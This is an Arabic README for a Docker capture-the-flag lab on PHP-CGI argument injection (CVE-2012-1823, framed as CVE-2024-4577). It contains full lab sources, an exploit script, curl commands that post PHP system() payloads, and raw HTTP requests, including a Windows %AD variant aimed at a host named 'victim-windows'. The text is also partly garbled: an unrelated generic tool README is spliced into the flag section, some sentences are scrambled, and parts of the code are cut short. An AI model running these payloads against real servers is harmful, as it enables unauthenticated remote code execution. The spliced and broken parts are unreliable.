
# مختبر CTF قائم على Docker يوضح ثغرة CVE-2024-4577 في حقن وسائط PHP-CGI المؤدية إلى تنفيذ الأوامر عن بُعد (RCE). يتضمن إصدار PHP 5.4.1 CGI الضعيف، ونصوص استغلال، واسترجاع العلم.
مختبر Docker من الصفر ومتكامل بذاته يوضح الآلية الحقيقية لحقن الوسائط ← تنفيذ الأوامر عن بُعد الكامنة وراء CVE-2024-4577.
استغله عبر http://localhost:8080، افتح شل، واقرأ العلم من داخل الحاوية.
هذه ثغرة حقيقية، وليست محاكاة. تقوم الحاوية بترجمة ثنائي PHP 5.4.1 CGI غير مُصَحَّح وتربطه خلف Apache بنفس الطريقة التي تُهيَّأ بها الأنظمة الحقيقية المعرضة للخطر. لا يوجد أي فحص وهمي مثل "if password == flag" في أي مكان — الطريقة الوحيدة للحصول على العلم هي تحقيق تنفيذ الأوامر فعليًا.
الحمولة المميزة لـ CVE-2024-4577 تستخدم %AD (واصلة ناعمة). هذه الحيلة تعمل فقط على Windows، لأن "ترميز الأحرف الأفضل ملاءمة" في Windows يحوّل البايت 0xAD إلى - حقيقية (0x2D) أن يكون تصحيح CVE-2012-1823 في PHP قد فحص سلسلة الاستعلام بالفعل. هذا التحويل الترميزي يتم بواسطة — ولا يحدث
لذا، فإن مختبر Linux القابل للتشغيل على جهازك يعيد إنتاج نفس آلية RCE تمامًا — حقن خيارات php-cgi عبر الرابط ← -d auto_prepend_file=php://input ← تنفيذ الأوامر — باستخدام صيغة - الحرفية (وهي الثغرة الأم لـ CVE-2024-4577، وهي CVE-2012-1823). الاختلاف الوحيد عن هدف CVE-2024-4577 الحقيقي على Windows هو طبقة تجاوز الترميز %AD←-، والتي توثقها هذه الوثيقة بالكامل (انظر كيف تعمل الاستغلال وpoc.http).
| هذا المختبر على Linux | CVE-2024-4577 الحقيقي (Windows) | |
|---|---|---|
| المكوّن المعرض للخطر | php-cgi | php-cgi |
| آلية RCE | -d auto_prepend_file=php://input | مطابق |
| الفاصل في الرابط | - حرفية | %AD (أفضل ملاءمة ← -) |
| يتجاوز تصحيح 2012؟ | غير قابل للتطبيق (PHP أقدم من التصحيح) | نعم، عبر أفضل ملاءمة في Windows |
| يعمل على Win 11 Home + Docker Desktop | ✅ | ❌ (يتطلب حاويات Windows) |
إذا كنت تحتاج تحديدًا إلى إعادة إنتاج %AD الحرفية على Windows، فستحتاج إلى مضيف Docker يدعم حاويات Windows (Windows Server / Win Pro + Hyper-V) — لن يعمل على Windows 11 Home. حمولة Windows مضمّنة في poc.http كمرجع.
CVE-2024-4577 — حقن وسائط PHP CGI يؤدي إلى تنفيذ الأوامر عن بُعد. اكتُشفت بواسطة DEVCORE (Orange Tsai / Angelboy)، وأُفصح عنها في 2024-06-06.
عند نشر PHP في وضع CGI (أو كان ثنائي php-cgi.exe قابلًا للوصول بطريقة أخرى) على Windows مع بعض الإعدادات المحلية للنظام (الصينية التقليدية/المبسطة، اليابانية، وغيرها)، يمرر خادم الويب سلسلة استعلام HTTP إلى php-cgi كوسائط سطر أوامر. يمكن للمهاجم تهريب خيارات سطر أوامر php-cgi (-d ...) إلى تلك السلسلة. تحويل الأفضل ملاءمة لصفحة الرموز في Windows يحوّل البايت 0xAD (%AD) إلى واصلة ASCII -، مما يتجاوز تحصين CVE-2012-1823 ويسمح للمهاجم بتعيين توجيهات INI عشوائية في PHP — الأكثر فائدةً هو auto_prepend_file=php://input مع allow_url_include=1، مما ينفّذ نص الطلب المقدم من المهاجم كـ PHP. النتيجة: تنفيذ أوامر عن بُعد بدون مصادقة. تم تسليحها في البرية خلال أيام (مثل برمجية الفدية TellYouThePass).
CGI يمرر سلسلة الاستعلام كـ argv. وفقًا لـ RFC 3875، إذا كانت سلسلة استعلام طلب CGI لا تحتوي على = غير مشفّر، يقسمها الخادم على +، ويفك ترميز كل كلمة، ويمرر الكلمات إلى برنامج CGI كوسائط سطر أوامر. لذلك يتلقى php-cgi argv يتحكم فيه المهاجم.
php-cgi يحلل تلك argv كخيارات. تاريخيًا، كان php-cgi يفسر -d key=value، -T، إلخ من تلك argv. إدخال -d allow_url_include=1 -d auto_prepend_file=php://input يجعل PHP ينفّذ نص الطلب ككود ← CVE-2012-1823.
إصلاح CVE-2012-1823 غير مكتمل على Windows. أضاف تصحيح 2012 حارسًا في sapi/cgi/cgi_main.c: تقريبًا "إذا بدأت سلسلة الاستعلام (الخام) بـ - ولا تحتوي على =، فتخطَّ تحليل الخيارات (skip_getopt)." المهاجم الذي يرسل - حرفية أصبح محظورًا الآن.
ترميز أفضل ملاءمة يهزم الحارس (ثغرة 2024). على Windows، يحوّل PHP سطر الأوامر باستخدام صفحة رموز الإعداد المحلي مع تفعيل الأفضل ملاءمة. يرسل المهاجم %AD (البايت 0xAD، واصلة ناعمة). في لحظة فحص الحارس، البايت الأول هو 0xAD، وليس -، لذا لا يتم تعيين skip_getopt. لاحقًا، عندما يبني PHP فعليًا argv، يقوم Windows بتعيين 0xAD ← - عبر أفضل ملاءمة، لذا يرى getopt الآن -d. يحدث حقن الخيارات بعد الفحص الذي كان من المفترض أن يوقفه. هذا الترتيب (فحص ثم تحويل) هو الثغرة بأكملها.
في هذا المختبر على Linux، يتم إعادة إنتاج الخطوات 1–2 بالضبط مع php-cgi أقدم من تصحيح الخطوة 3، لذا تعمل صيغة
-الحرفية وتوضح نفس RCE. الخطوة 4 هي طبقة خاصة بـ Windows فقط، موثقة لكن غير منفذة (لا يوجد تحويل أفضل ملاءمة في Linux).
أُصلحت في 8.3.8، 8.2.20، 8.1.29. لذلك المعرضة للخطر:
الشروط: نظام تشغيل Windows؛ PHP يعمل كـ CGI أو php-cgi.exe مكشوف (إعداد XAMPP الافتراضي على Windows معرض للخطر)؛ إعداد محلي متأثر لمسار أفضل ملاءمة. (الثغرة الأم CVE-2012-1823 — الآلية التي يشغّلها هذا المختبر — تؤثر على أي نظام تشغيل يشغّل php-cgi قبل إصلاح 2012 في هذا التكوين.)
cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file
## 5. المتطلبات الأساسية
- **Docker Desktop** (ويندوز/ماك) أو Docker Engine (لينكس).
ويندوز 11 Home: قم بتثبيت Docker Desktop مع خلفية **WSL 2** (الافتراضية).
→ https://www.docker.com/products/docker-desktop/
- `curl` للاستغلال (`curl.exe` مدمج في ويندوز 10/11؛ متوفر أيضًا في
Git Bash / WSL / ماك / لينكس).
- اتصال بالإنترنت **أثناء البناء** (يقوم بتنزيل كود مصدر PHP 5.4.1).
## 6. تعليمات البناء
افتح طرفية في مجلد `cve-2024-4577-lab/`.
### الخيار أ — docker compose (موصى به)```bash
docker compose up --build -d
أمر docker build:```bash docker build -t cve-2024-4577-lab .
**أمر تشغيل docker:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
يستغرق البناء تجميع PHP من المصدر (حوالي 2–5 دقائق في المرة الأولى). إذا فشل على جهازك (وضع عدم الاتصال، عدم وجود سلسلة أدوات، حظر museum.php.net)، فاستخدم صورة الأساس الاحتياطية:
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab . docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
curl -s http://localhost:8080/ | head -n 20
يجب أن ترى HTML الخاص بـ **بوابة الحالة الداخلية لـ ACME**، والأهم من ذلك:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>
SAPI: cgi-fcgi (أي يتم تقديمه عبر php-cgi) يؤكد أن المكوّن القابل للاستغلال موجود في مسار الطلب. تحقق أيضًا من السجلات:```bash
docker logs cve-2024-4577-lab
## 8. خطوات الاستغلال
سلسلة الاستعلام المحقونة (مشفّرة بنظام URL بحيث لا يرى Apache أي **`=` حرفي** وبالتالي
يتعامل معها كوسائط CGI argv):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
التي يحللها php-cgi على النحو التالي:``` -d allow_url_include=1 -d auto_prepend_file=php://input
المحتوى **request body** يصبح مصدر PHP (يُقرأ عبر `php://input`) ويُشغَّل
*قبل* `index.php`.
### 8أ. الأسهل — تشغيل السكربت```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"
curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> على **Windows PowerShell**، استخدم `curl.exe` بشكل صريح (أمر `curl` في PowerShell
> هو اسم مستعار لـ `Invoke-WebRequest` ويُفسد سلسلة الاستعلام):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
> --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
> "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```
### 8ج. يدوي — HTTP خام (Burp Repeater)
انظر [`poc.http`](#poc-http). الصق الطلب رقم 1 في Burp Repeater وأرسله.
## 9. المخرجات المتوقعة```
[*] Target : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.
سطر uid=33(www-data) يُثبت تنفيذ أوامر نظام تشغيل تعسفي كمستخدم
خادم الويب — هذا تنفيذ كود حقيقي، وليس سلسلة نصية مطبوعة.
يقع العَلَم في /flag.txt داخل الحاوية — خارج جذر
الويب (/var/www/html)، لذا لا يمكن الوصول إليه عبر HTTP. الطريقة الوحيدة
لقراءته هي تشغيل أمر عبر ثغرة RCE:```bash
bash exploit.sh http://localhost:8080 "cat /flag.txt"
العلم:
```bash
# استنساخ مستودع الأداة
git clone https://github.com/example/tool.git
# الانتقال إلى مجلد الأداة
cd tool
# تثبيت المتطلبات
pip install -r requirements.txt
ملاحظة: تأكد من تثبيت Python 3.8 أو أحدث قبل المتابعة.
لتشغيل الأداة، استخدم الأمر التالي:
python tool.py --target example.com
| الخيار | الوصف |
|---|---|
--target | تحديد الهدف (مطلوب) |
--verbose | عرض مخرجات تفصيلية |
--output | حفظ النتائج في ملف |
هذه الأداة مرخصة بموجب MIT License.``` FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
*(في CTF حقيقي لن يُخبرك أحد بالمسار — ستدير `ls -la /` عبر
RCE للعثور عليه. جرّب `bash exploit.sh http://localhost:8080 "ls -la /"`.)*
## 11. أوامر التنظيف```bash
# compose
docker compose down
# plain docker
docker stop cve-2024-4577-lab
docker rm cve-2024-4577-lab # only if you did NOT use --rm
# remove the image entirely
docker rmi cve-2024-4577-lab
# nuke build cache too (optional)
docker builder prune -f
العميل ← Apache. ترسل
POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
مع حمولة PHP في جسم الطلب.
توجيه Apache. AddHandler application/x-httpd-php .php +
Action application/x-httpd-php /cgi-bin/php-cgi يوجّهان الطلب إلى
ثنائي php-cgi (mod_actions + mod_cgi).
سلسلة الاستعلام ← argv (قاعدة CGI). يرى mod_cgi في Apache أن سلسلة
الاستعلام لا تحتوي على = غير مشفّر (أرسلنا %3d وليس =)، لذا وفقًا
لـ RFC 3875 يقسّمها على +، ويفكّ ترميز كل كلمة، ويمرّرها إلى php-cgi
كـ argv:
-d, allow_url_include=1, -d, auto_prepend_file=php://input.
php-cgi يحلّل الخيارات المحقونة. هذا php-cgi (الإصدار 5.4.1، قبل إصلاح
2012) لا يحتوي على حارس skip_getopt، لذا يعالج خيارات -d بنجاح:
allow_url_include=1 — السماح بتضمين PHP من موفّرات التدفق.auto_prepend_file=php://input — قبل تشغيل السكربت المطلوب،
تضمين وتنفيذ جسم الطلب كـ PHP.يُنفَّذ الجسم ككود. php://input هو جسم طلب POST الخاص بك،
<?php system('id; cat /flag.txt'); die(); ?>. يعمل كمستخدم Apache
(www-data)، وينفّذ أمر نظام التشغيل، ويطبع مخرجاته، وينهي بـ die()
قبل أن يعمل index.php أصلًا.
استخراج العلم. يقرأ system('cat /flag.txt') ملف /flag.txt (القابل
للقراءة بواسطة www-data) ويعيده في استجابة HTTP.
CGI يخلط بين الوسائط ومدخلات المستخدم. اتفاقية CGI من التسعينيات
لتحويل سلسلة الاستعلام إلى argv صُمّمت لسكربتات بحث <ISINDEX>.
توجيهها إلى مترجم مثل php-cgi، الذي تُعدّ وسائط argv الخاصة به مفاتيح
إعداد قوية، خطأ تصنيفي: تصبح البيانات التي يتحكم بها المستخدم إعدادًا
للبرنامج.
-d هي حقن INI عن بُعد. php-cgi -d name=value يتجاوز أي توجيه INI
في وقت التشغيل، متجاوزًا حتى php.ini المحصّن. auto_prepend_file
allow_url_include + موفّر php://input تتكوّن معًا إلى
"تنفيذ جسم الطلب"، أي RCE.CVE-2024-4577 تحديدًا موجودة لأن إصلاح CVE-2012-1823 يفحص سلسلة
الاستعلام بحثًا عن - بادئة قبل أن يقوم Windows بتحويل الترميز
best-fit. يرسل المهاجم %AD (شرطة ناعمة)؛ وهي ليست - عند إجراء
الفحص، فيمرّ الحارس، لكن Windows لاحقًا يخطّط best-fit
0xAD → 0x2D (-)، معيدًا إدخال - بعد البوابة. ترتيب الفحص ثم التحويل
index.php،
لذا لا يكشفه أي قدر من الزحف أو الفازينغ أو قراءة كود التطبيق.if (input === flag))، لذا لا يمكن
للحالّ عكس مقارنة — يظهر العلم فقط في مخرجات stdout لعملية بعد تنفيذ
أمر نظام تشغيل حقيقي.= بشكل صحيح كـ %3d، وإبقاء - كمحدد خيارات، وتسليم الحمولة
عبر php://input. أخطئ في أي خطوة وستحصل على صفحة ACME الحميدة،
وليس العلم.ScriptAlias/المعالجات التي تكشف
php-cgi.exe؛ احظر الطلبات التي تبدأ سلسلة الاستعلام فيها بشرطة ناعمة
مشفّرة؛ ارفض %AD في سلسلة الاستعلام عند جدار الحماية WAF.%AD أو
auto_prepend_file أو allow_url_include أو php://input.كل ما يلي هو المصدر الكامل لكل ملف، بحيث تكون هذه الوثيقة الواحدة مكتفية ذاتيًا بالكامل.
FROM debian:bullseye
ENV DEBIAN_FRONTEND=noninteractive ENV PHP_VERSION=5.4.1
RUN set -eux;
apt-get update;
apt-get install -y --no-install-recommends
ca-certificates wget bzip2 xz-utils
build-essential pkg-config autoconf
libxml2-dev
apache2;
rm -rf /var/lib/apt/lists/*
make never invokesRUN set -eux;
cd /usr/src;
( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz"
|| wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" );
tar -xf php.tar;
cd "php-${PHP_VERSION}";
for f in
Zend/zend_language_parser.c Zend/zend_language_parser.h
Zend/zend_language_scanner.c
Zend/zend_ini_parser.c Zend/zend_ini_parser.h
Zend/zend_ini_scanner.c
ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c
ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do
if [ -f "$f" ]; then touch "$f"; fi;
done;
CFLAGS="-O2 -fcommon" ./configure
--enable-cgi
--disable-all
--without-pear;
make -j"$(nproc)";
make install;
cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi;
chmod 0755 /usr/lib/cgi-bin/php-cgi;
/usr/local/bin/php-cgi -v;
cd /; rm -rf /usr/src/php*
COPY config/php.ini /usr/local/lib/php.ini COPY config/apache-vhost.conf /etc/apache2/sites-available/000-default.conf
RUN set -eux;
a2dismod mpm_event mpm_worker || true;
a2enmod mpm_prefork cgi actions alias;
printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf;
a2enconf servername
COPY app/index.php /var/www/html/index.php COPY flag.txt /flag.txt RUN chmod 0644 /flag.txt /var/www/html/index.php
COPY start.sh /start.sh
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh EXPOSE 80 CMD ["/start.sh"]
## `Dockerfile.vulhub````dockerfile
# =============================================================================
# FALLBACK Dockerfile — use ONLY if the from-source build in ./Dockerfile
# fails on your machine (e.g. no build toolchain, offline, museum.php.net
# unreachable).
#
# It bases on Vulhub's pre-compiled PHP 5.4.1 CGI image, which already wires
# Apache + php-cgi in the same vulnerable way, then drops in our app + flag.
#
# To use it:
# docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .
# docker run --rm -p 8080:80 cve-2024-4577-lab
# or edit docker-compose.yml: dockerfile: Dockerfile.vulhub
#
# NOTE: this pulls a third-party base image, so it is less "from scratch"
# than ./Dockerfile. The exploit and README steps are identical.
# =============================================================================
FROM vulhub/php:5.4.1-cgi
COPY app/index.php /var/www/html/index.php
COPY flag.txt /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php
EXPOSE 80
services: web: build: context: . dockerfile: Dockerfile # <- swap to Dockerfile.vulhub if the source build fails image: cve-2024-4577-lab:latest container_name: cve-2024-4577-lab ports: - "8080:80" # host 8080 -> container 80 restart: unless-stopped
## `config/apache-vhost.conf````apache
<VirtualHost *:80>
ServerName localhost
DocumentRoot /var/www/html
# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Require all granted
</Directory>
# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG: Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject -d <ini>=<value> straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
Options +ExecCGI FollowSymLinks
AddHandler application/x-httpd-php .php
Action application/x-httpd-php /cgi-bin/php-cgi
DirectoryIndex index.php
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
; --------------------------------------------------------------------------- ; Minimal php.ini for the CVE-2024-4577 / CVE-2012-1823 lab. ; Read by php-cgi from PHP_CONFIG_FILE_PATH (/usr/local/lib) at startup. ; ---------------------------------------------------------------------------
; php-cgi refuses to run under a web server unless force_redirect is satisfied. ; Turning it off keeps the CGI SAPI happy behind Apache's Action handler. cgi.force_redirect = 0 cgi.fix_pathinfo = 1
display_errors = On display_startup_errors = On log_errors = On
; Realistic defaults. Note allow_url_include is OFF here on purpose — the ; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1 ; option, which is the whole point of the argument-injection primitive. allow_url_fopen = On allow_url_include = Off
short_open_tag = On
## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
# Container entrypoint: start Apache (with the vulnerable php-cgi) in the
# foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e
# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars
mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"
echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="
exec apache2 -D FOREGROUND
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-http://localhost:8080}" CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"
QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'
BODY=""
echo "[] Target : ${TARGET}/index.php" echo "[] Injection : ?${QUERY}" echo "[] Command : ${CMD}" echo "[] Firing argument-injection request..." echo "-----------------------------------------------------------------"
curl -sS
-H 'Content-Type: text/plain'
--data-binary "${BODY}"
"${TARGET}/index.php?${QUERY}"
echo echo "-----------------------------------------------------------------" echo "[*] Success if you see FLAG{...} above."
## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php — an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>ACME Internal Status Portal</title>
<style>
body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
.ok{color:#2a7f2a;font-weight:bold}
</style>
</head>
<body>
<h1>ACME Internal Status Portal</h1>
<p>Service status: <span class="ok">ONLINE</span></p>
<ul>
<li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
<li>PHP version: <code><?php echo phpversion(); ?></code></li>
<li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
<li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
</ul>
<p>Everything looks fine here. Nothing to see. 😊</p>
</body>
</html>
###############################################################################
###############################################################################
POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host: localhost:8080 Content-Type: text/plain Content-Length: 44 Connection: close
POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim-windows Content-Type: text/plain Content-Length: 30 Connection: close
## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
sapi/cgi/cgi_main.c).للاستخدام التعليمي الأمني / CTF المصرح به فقط.